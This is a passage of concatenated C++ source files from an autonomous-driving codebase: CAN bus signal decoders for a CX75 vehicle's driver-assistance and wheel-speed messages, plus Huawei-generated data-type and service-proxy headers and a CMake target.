chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_ihcmenureq(mp5_ihcmenureq(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_doa_active(mp5_doa_active(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_apa_available_sts(mp5_apa_available_sts(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_tpmsautolocationsetting(mp5_tpmsautolocationsetting(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_avm_rotationdirection(mp5_avm_rotationdirection(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_avm_button(mp5_avm_button(bytes, length)); chassis->mutable_cx75()->mutable_gw_mp5_0x530_530()->set_mp5_view_choice(mp5_view_choice(bytes, length)); } // config detail: {'name': 'mp5_fcw_sensitive', 'enum': {0: 'MP5_FCW_SENSITIVE_UNAVAILABLE', 1: 'MP5_FCW_SENSITIVE_LEVEL1_LOW_SENSITIVE', 2: 'MP5_FCW_SENSITIVE_LEVEL2_NORMAL', 3: 'MP5_FCW_SENSITIVE_LEVEL3_HIGH_SENSITIVE'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_fcw_sensitiveType Gwmp50x530530::mp5_fcw_sensitive(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 2); Gw_mp5_0x530_530::Mp5_fcw_sensitiveType ret = static_cast<Gw_mp5_0x530_530::Mp5_fcw_sensitiveType>(x); return ret; } // config detail: {'name': 'mp5_icmenushift_button', 'enum': {0: 'MP5_ICMENUSHIFT_BUTTON_NO_EVENT', 1: 'MP5_ICMENUSHIFT_BUTTON_PAGE_UP', 2: 'MP5_ICMENUSHIFT_BUTTON_PAGE_DOWN', 3: 'MP5_ICMENUSHIFT_BUTTON_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_icmenushift_buttonType Gwmp50x530530::mp5_icmenushift_button(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(2, 2); Gw_mp5_0x530_530::Mp5_icmenushift_buttonType ret = static_cast<Gw_mp5_0x530_530::Mp5_icmenushift_buttonType>(x); return ret; } // config detail: {'name': 'mp5_aeb_on_off', 'enum': {0: 'MP5_AEB_ON_OFF_SWITCH_ON', 1: 'MP5_AEB_ON_OFF_SWITCH_OFF'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 12, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_aeb_on_offType Gwmp50x530530::mp5_aeb_on_off(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(4, 1); Gw_mp5_0x530_530::Mp5_aeb_on_offType ret = static_cast<Gw_mp5_0x530_530::Mp5_aeb_on_offType>(x); return ret; } // config detail: {'name': 'mp5_fcw_on_off', 'enum': {0: 'MP5_FCW_ON_OFF_SWITCH_ON', 1: 'MP5_FCW_ON_OFF_SWITCH_OFF'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 13, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_fcw_on_offType Gwmp50x530530::mp5_fcw_on_off(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(5, 1); Gw_mp5_0x530_530::Mp5_fcw_on_offType ret = static_cast<Gw_mp5_0x530_530::Mp5_fcw_on_offType>(x); return ret; } // config detail: {'name': 'mp5_bsdswitchsts', 'enum': {0: 'MP5_BSDSWITCHSTS_ON', 1: 'MP5_BSDSWITCHSTS_OFF'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_bsdswitchstsType Gwmp50x530530::mp5_bsdswitchsts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(7, 1); Gw_mp5_0x530_530::Mp5_bsdswitchstsType ret = static_cast<Gw_mp5_0x530_530::Mp5_bsdswitchstsType>(x); return ret; } // config detail: {'name': 'mp5_afs_swtichsts', 'enum': {0: 'MP5_AFS_SWTICHSTS_NO_PRESS', 1: 'MP5_AFS_SWTICHSTS_PRESS'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 16, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_afs_swtichstsType Gwmp50x530530::mp5_afs_swtichsts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 1); Gw_mp5_0x530_530::Mp5_afs_swtichstsType ret = static_cast<Gw_mp5_0x530_530::Mp5_afs_swtichstsType>(x); return ret; } // config detail: {'name': 'mp5_laneassittypereq', 'enum': {0: 'MP5_LANEASSITTYPEREQ_NO_SELECTION', 1: 'MP5_LANEASSITTYPEREQ_LDW', 2: 'MP5_LANEASSITTYPEREQ_LKA', 3: 'MP5_LANEASSITTYPEREQ_LDW_LKA'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_laneassittypereqType Gwmp50x530530::mp5_laneassittypereq(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(1, 2); Gw_mp5_0x530_530::Mp5_laneassittypereqType ret = static_cast<Gw_mp5_0x530_530::Mp5_laneassittypereqType>(x); return ret; } // config detail: {'name': 'mp5_icmenuactive_button', 'enum': {0: 'MP5_ICMENUACTIVE_BUTTON_OFF', 1: 'MP5_ICMENUACTIVE_BUTTON_MENU_SWITCH_ACTIVE', 2: 'MP5_ICMENUACTIVE_BUTTON_SILENCE', 3: 'MP5_ICMENUACTIVE_BUTTON_INVALID'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 20, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_icmenuactive_buttonType Gwmp50x530530::mp5_icmenuactive_button(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(3, 2); Gw_mp5_0x530_530::Mp5_icmenuactive_buttonType ret = static_cast<Gw_mp5_0x530_530::Mp5_icmenuactive_buttonType>(x); return ret; } // config detail: {'name': 'mp5_alarmstatus', 'enum': {0: 'MP5_ALARMSTATUS_INACTIVE', 1: 'MP5_ALARMSTATUS_ACTIVE', 2: 'MP5_ALARMSTATUS_FAILED', 3: 'MP5_ALARMSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 22, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_alarmstatusType Gwmp50x530530::mp5_alarmstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(5, 2); Gw_mp5_0x530_530::Mp5_alarmstatusType ret = static_cast<Gw_mp5_0x530_530::Mp5_alarmstatusType>(x); return ret; } // config detail: {'name': 'mp5_alarmornot', 'enum': {0: 'MP5_ALARMORNOT_NO_ALARM', 1: 'MP5_ALARMORNOT_ALARM'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_alarmornotType Gwmp50x530530::mp5_alarmornot(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(7, 1); Gw_mp5_0x530_530::Mp5_alarmornotType ret = static_cast<Gw_mp5_0x530_530::Mp5_alarmornotType>(x); return ret; } // config detail: {'name': 'mp5_paakreset_req', 'enum': {0: 'MP5_PAAKRESET_REQ_NO_REQUEST', 1: 'MP5_PAAKRESET_REQ_REQUEST'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_paakreset_reqType Gwmp50x530530::mp5_paakreset_req(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(7, 1); Gw_mp5_0x530_530::Mp5_paakreset_reqType ret = static_cast<Gw_mp5_0x530_530::Mp5_paakreset_reqType>(x); return ret; } // config detail: {'name': 'mp5_cta_active', 'enum': {0: 'MP5_CTA_ACTIVE_ON', 1: 'MP5_CTA_ACTIVE_OFF'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 40, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_cta_activeType Gwmp50x530530::mp5_cta_active(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(0, 1); Gw_mp5_0x530_530::Mp5_cta_activeType ret = static_cast<Gw_mp5_0x530_530::Mp5_cta_activeType>(x); return ret; } // config detail: {'name': 'mp5_bsdlca_active', 'enum': {0: 'MP5_BSDLCA_ACTIVE_ON', 1: 'MP5_BSDLCA_ACTIVE_OFF'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 41, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_bsdlca_activeType Gwmp50x530530::mp5_bsdlca_active(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(1, 1); Gw_mp5_0x530_530::Mp5_bsdlca_activeType ret = static_cast<Gw_mp5_0x530_530::Mp5_bsdlca_activeType>(x); return ret; } // config detail: {'name': 'mp5_tsrmenureq', 'enum': {0: 'MP5_TSRMENUREQ_ON', 1: 'MP5_TSRMENUREQ_OFF'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 43, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_tsrmenureqType Gwmp50x530530::mp5_tsrmenureq(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(3, 1); Gw_mp5_0x530_530::Mp5_tsrmenureqType ret = static_cast<Gw_mp5_0x530_530::Mp5_tsrmenureqType>(x); return ret; } // config detail: {'name': 'mp5_ldwwarning', 'enum': {0: 'MP5_LDWWARNING_AUDIBLE_WARNING_AND_WHEELSTEER_SHAKE', 1: 'MP5_LDWWARNING_AUDIBLE_WARNING', 2: 'MP5_LDWWARNING_WHEELSTEER_SHAKE', 3: 'MP5_LDWWARNING_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 45, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_ldwwarningType Gwmp50x530530::mp5_ldwwarning(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(4, 2); Gw_mp5_0x530_530::Mp5_ldwwarningType ret = static_cast<Gw_mp5_0x530_530::Mp5_ldwwarningType>(x); return ret; } // config detail: {'name': 'mp5_ldwsensitvity', 'enum': {0: 'MP5_LDWSENSITVITY_HIGH', 1: 'MP5_LDWSENSITVITY_LOW', 2: 'MP5_LDWSENSITVITY_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_ldwsensitvityType Gwmp50x530530::mp5_ldwsensitvity(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(6, 2); Gw_mp5_0x530_530::Mp5_ldwsensitvityType ret = static_cast<Gw_mp5_0x530_530::Mp5_ldwsensitvityType>(x); return ret; } // config detail: {'name': 'mp5_avm_angle', 'enum': {0: 'MP5_AVM_ANGLE_CENTER_KEY', 1: 'MP5_AVM_ANGLE_FRONT_3D_FRONT_AVM_2D', 2: 'MP5_AVM_ANGLE_FRONT_RIGHT_3D', 3: 'MP5_AVM_ANGLE_RIGHT_3D_RIGHT_AVM_2D', 4: 'MP5_AVM_ANGLE_REAR_RIGHT_3D', 5: 'MP5_AVM_ANGLE_REAR_3D_REAR_AVM_2D', 6: 'MP5_AVM_ANGLE_LEFT_REAR_3D', 7: 'MP5_AVM_ANGLE_LEFT_3D_LEFT_AVM_2D', 8: 'MP5_AVM_ANGLE_LEFT_FRONT_3D', 9: 'MP5_AVM_ANGLE_3D_KEY', 10: 'MP5_AVM_ANGLE_2D_KEY', 11: 'MP5_AVM_ANGLE_NO_VIDEO_SIGNAL_RESERVED', 12: 'MP5_AVM_ANGLE_RESERVED', 13: 'MP5_AVM_ANGLE_RESERVED', 14: 'MP5_AVM_ANGLE_RESERVED', 15: 'MP5_AVM_ANGLE_INVALID'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_avm_angleType Gwmp50x530530::mp5_avm_angle(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(2, 4); Gw_mp5_0x530_530::Mp5_avm_angleType ret = static_cast<Gw_mp5_0x530_530::Mp5_avm_angleType>(x); return ret; } // config detail: {'name': 'mp5_avm_rotationchange', 'offset': 0.0, 'precision': 1.0, 'len': 6, 'is_signed_var': False, 'physical_range': '[0|63]', 'bit': 52, 'type': 'int', 'order': 'motorola', 'physical_unit': 'deg'} int Gwmp50x530530::mp5_avm_rotationchange(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 5); Byte t1(bytes + 7); int32_t t = t1.get_byte(7, 1); x <<= 1; x |= t; int ret = x; return ret; } // config detail: {'name': 'mp5_ihcmenureq', 'enum': {0: 'MP5_IHCMENUREQ_ON', 1: 'MP5_IHCMENUREQ_OFF'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 53, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_ihcmenureqType Gwmp50x530530::mp5_ihcmenureq(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(5, 1); Gw_mp5_0x530_530::Mp5_ihcmenureqType ret = static_cast<Gw_mp5_0x530_530::Mp5_ihcmenureqType>(x); return ret; } // config detail: {'name': 'mp5_doa_active', 'enum': {0: 'MP5_DOA_ACTIVE_ON', 1: 'MP5_DOA_ACTIVE_OFF'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_doa_activeType Gwmp50x530530::mp5_doa_active(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(7, 1); Gw_mp5_0x530_530::Mp5_doa_activeType ret = static_cast<Gw_mp5_0x530_530::Mp5_doa_activeType>(x); return ret; } // config detail: {'name': 'mp5_apa_available_sts', 'enum': {0: 'MP5_APA_AVAILABLE_STS_INITIAL', 1: 'MP5_APA_AVAILABLE_STS_AVALIBLE', 2: 'MP5_APA_AVAILABLE_STS_NOT_AVALIBLE'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 57, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_apa_available_stsType Gwmp50x530530::mp5_apa_available_sts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 2); Gw_mp5_0x530_530::Mp5_apa_available_stsType ret = static_cast<Gw_mp5_0x530_530::Mp5_apa_available_stsType>(x); return ret; } // config detail: {'name': 'mp5_tpmsautolocationsetting', 'enum': {0: 'MP5_TPMSAUTOLOCATIONSETTING_AUTOLOCATIONSETTINGOFF', 1: 'MP5_TPMSAUTOLOCATIONSETTING_AUTOLOCATIONSETTINGON'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 58, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_tpmsautolocationsettingType Gwmp50x530530::mp5_tpmsautolocationsetting(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(2, 1); Gw_mp5_0x530_530::Mp5_tpmsautolocationsettingType ret = static_cast<Gw_mp5_0x530_530::Mp5_tpmsautolocationsettingType>(x); return ret; } // config detail: {'name': 'mp5_avm_rotationdirection', 'enum': {0: 'MP5_AVM_ROTATIONDIRECTION_INITIAL', 1: 'MP5_AVM_ROTATIONDIRECTION_CLOCKWISE', 2: 'MP5_AVM_ROTATIONDIRECTION_ANTICLOCKWISE', 3: 'MP5_AVM_ROTATIONDIRECTION_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 62, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_avm_rotationdirectionType Gwmp50x530530::mp5_avm_rotationdirection(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(5, 2); Gw_mp5_0x530_530::Mp5_avm_rotationdirectionType ret = static_cast<Gw_mp5_0x530_530::Mp5_avm_rotationdirectionType>(x); return ret; } // config detail: {'name': 'mp5_avm_button', 'enum': {0: 'MP5_AVM_BUTTON_INIT', 1: 'MP5_AVM_BUTTON_START_UP', 2: 'MP5_AVM_BUTTON_SHUT_DOWN', 3: 'MP5_AVM_BUTTON_FAULTURE'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_avm_buttonType Gwmp50x530530::mp5_avm_button(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(6, 2); Gw_mp5_0x530_530::Mp5_avm_buttonType ret = static_cast<Gw_mp5_0x530_530::Mp5_avm_buttonType>(x); return ret; } // config detail: {'name': 'mp5_view_choice', 'enum': {0: 'MP5_VIEW_CHOICE_AVM', 1: 'MP5_VIEW_CHOICE_ADAS'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 9, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_0x530_530::Mp5_view_choiceType Gwmp50x530530::mp5_view_choice(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(1, 1); Gw_mp5_0x530_530::Mp5_view_choiceType ret = static_cast<Gw_mp5_0x530_530::Mp5_view_choiceType>(x); return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_canbusdataparam_h #define impl_type_canbusdataparam_h #include "impl_type_elementlist.h" #include "impl_type_uint8.h" struct CanBusDataParam { ::UInt8 seq; ::ElementList elementList; static bool IsPlane() { return false; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(seq); fun(elementList); } template<typename F> void enumerate(F& fun) const { fun(seq); fun(elementList); } bool operator == (const ::CanBusDataParam& t) const { return (seq == t.seq) && (elementList == t.elementList); } }; #endif // impl_type_canbusdataparam_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef mdc_sensor_canrxserviceinterface_proxy_h #define mdc_sensor_canrxserviceinterface_proxy_h #include "ara/com/internal/proxy/ProxyAdapter.h" #include "ara/com/internal/proxy/EventAdapter.h" #include "ara/com/internal/proxy/FieldAdapter.h" #include "ara/com/internal/proxy/MethodAdapter.h" #include "mdc/sensor/canrxserviceinterface_common.h" #include "impl_type_cansetdataresult.h" #include "impl_type_canbusdataparam.h" #include <string> namespace mdc { namespace sensor { namespace proxy { namespace events { using CanDataRxEvent = ara::com::internal::proxy::event::EventAdapter<::CanBusDataParam>; static constexpr ara::com::internal::EntityId CanDataRxEventId = 10384; //CanDataRxEvent_event_hash } namespace fields { } namespace methods { static constexpr ara::com::internal::EntityId CanDataSetMethodId = 41040; //CanDataSetMethod_method_hash class CanDataSetMethod { public: struct Output { ::CanSetDataResult result; static bool IsPlane() { return false; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(result); } template<typename F> void enumerate(F& fun) const { fun(result); } bool operator == (const Output& t) const { return (result == t.result); } }; CanDataSetMethod(std::shared_ptr<vrtf::vcc::Proxy>& proxy, ara::com::internal::EntityId entityId): method_(proxy, entityId){} std::shared_ptr<vrtf::vcc::Proxy>& GetProxy() { return method_.GetProxy();} void Initialize(std::shared_ptr<vrtf::vcc::Proxy>& proxy, ara::com::internal::EntityId entityId) { method_.Initialize(proxy, entityId); } ara::core::Future<Output> operator()(const ::CanBusDataParam& canData) { return method_(canData); } ara::com::internal::proxy::method::MethodAdapter<Output, ::CanBusDataParam> GetMethod() { return method_; } private: ara::com::internal::proxy::method::MethodAdapter<Output, ::CanBusDataParam> method_; }; } // namespace methods class CanRxServiceInterfaceProxy :public ara::com::internal::proxy::ProxyAdapter { public: virtual ~CanRxServiceInterfaceProxy() { CanDataRxEvent.UnsetReceiveHandler(); CanDataRxEvent.Unsubscribe(); } explicit CanRxServiceInterfaceProxy(const HandleType &handle) :ara::com::internal::proxy::ProxyAdapter(::mdc::sensor::CanRxServiceInterface::ServiceIdentifier, handle), CanDataRxEvent(GetProxy(), events::CanDataRxEventId, handle, ::mdc::sensor::CanRxServiceInterface::ServiceIdentifier), CanDataSetMethod(GetProxy(), methods::CanDataSetMethodId){ InitializeMethod<methods::CanDataSetMethod::Output>(methods::CanDataSetMethodId); } CanRxServiceInterfaceProxy(const CanRxServiceInterfaceProxy&) = delete; CanRxServiceInterfaceProxy& operator=(const CanRxServiceInterfaceProxy&) = delete; CanRxServiceInterfaceProxy(CanRxServiceInterfaceProxy&& other) = default; CanRxServiceInterfaceProxy& operator=(CanRxServiceInterfaceProxy&& other) = default; static ara::com::FindServiceHandle StartFindService( ara::com::FindServiceHandler<ara::com::internal::proxy::ProxyAdapter::HandleType> handler, ara::com::InstanceIdentifier instance = ara::com::InstanceIdentifier::Any) { return ProxyAdapter::StartFindService(handler, ::mdc::sensor::CanRxServiceInterface::ServiceIdentifier, instance); } static ara::com::ServiceHandleContainer<ara::com::internal::proxy::ProxyAdapter::HandleType> FindService( ara::com::InstanceIdentifier instance = ara::com::InstanceIdentifier::Any) { return ProxyAdapter::FindService(::mdc::sensor::CanRxServiceInterface::ServiceIdentifier, instance); } events::CanDataRxEvent CanDataRxEvent; methods::CanDataSetMethod CanDataSetMethod; }; } // namespace proxy } // namespace sensor } // namespace mdc #endif // mdc_sensor_canrxserviceinterface_proxy_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(path_bounds_decider path_bounds_decider.cc path_bounds_decider.h) target_link_libraries(path_bounds_decider planning_context planning_gflags reference_line_info /modules/planning/tasks/deciders:decider_base /modules/planning/tasks/deciders/utils:path_decider_obstacle_utils) <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_CX75_PROTOCOL_ESP_RPMF_0X213_213_H_ #define MODULES_CANBUS_VEHICLE_CX75_PROTOCOL_ESP_RPMF_0X213_213_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Esprpmf0x213213 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Esprpmf0x213213(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'ESP_WheelRpmFR', 'offset': 0.0, 'precision': 0.0625, 'len': 15, 'is_signed_var': False, 'physical_range': '[0|2047.875]', 'bit': 23, 'type': 'double', 'order': 'motorola', 'physical_unit': 'rpm'} double esp_wheelrpmfr(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_WheelRpmFRValid', 'enum': {0: 'ESP_WHEELRPMFRVALID_VALID', 1: 'ESP_WHEELRPMFRVALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 24, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_rpmf_0x213_213::Esp_wheelrpmfrvalidType esp_wheelrpmfrvalid(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Rolling_counter_0x213', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int rolling_counter_0x213(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Checksum_0x213', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int checksum_0x213(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_WheelRpmFL', 'offset': 0.0, 'precision': 0.0625, 'len': 15, 'is_signed_var': False, 'physical_range': '[0|2047.875]', 'bit': 7, 'type': 'double', 'order': 'motorola', 'physical_unit': 'rpm'} double esp_wheelrpmfl(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'ESP_WheelRpmFLValid', 'enum': {0: 'ESP_WHEELRPMFLVALID_VALID', 1: 'ESP_WHEELRPMFLVALID_INVALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 8, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Esp_rpmf_0x213_213::Esp_wheelrpmflvalidType esp_wheelrpmflvalid(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_CX75_PROTOCOL_ESP_RPMF_0X213_213_H_ <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_polygon_h #define impl_type_polygon_h #include "impl_type_point3d.h" struct Polygon { ::Point3D point; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(point); } template<typename F> void enumerate(F& fun) const { fun(point); } bool operator == (const ::Polygon& t) const { return (point == t.point); } }; #endif // impl_type_polygon_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_bytearray_h #define impl_type_bytearray_h #include "ara/core/vector.h" #include "impl_type_uint8.h" using ByteArray = ara::core::Vector<UInt8>; #endif // impl_type_bytearray_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_engageadvice_h #define impl_type_engageadvice_h #include "impl_type_advice.h" struct EngageAdvice { ::Advice advice; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(advice); } template<typename F> void enumerate(F& fun) const { fun(advice); } bool operator == (const ::EngageAdvice& t) const { return (advice == t.advice); } }; #endif // impl_type_engageadvice_h <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include 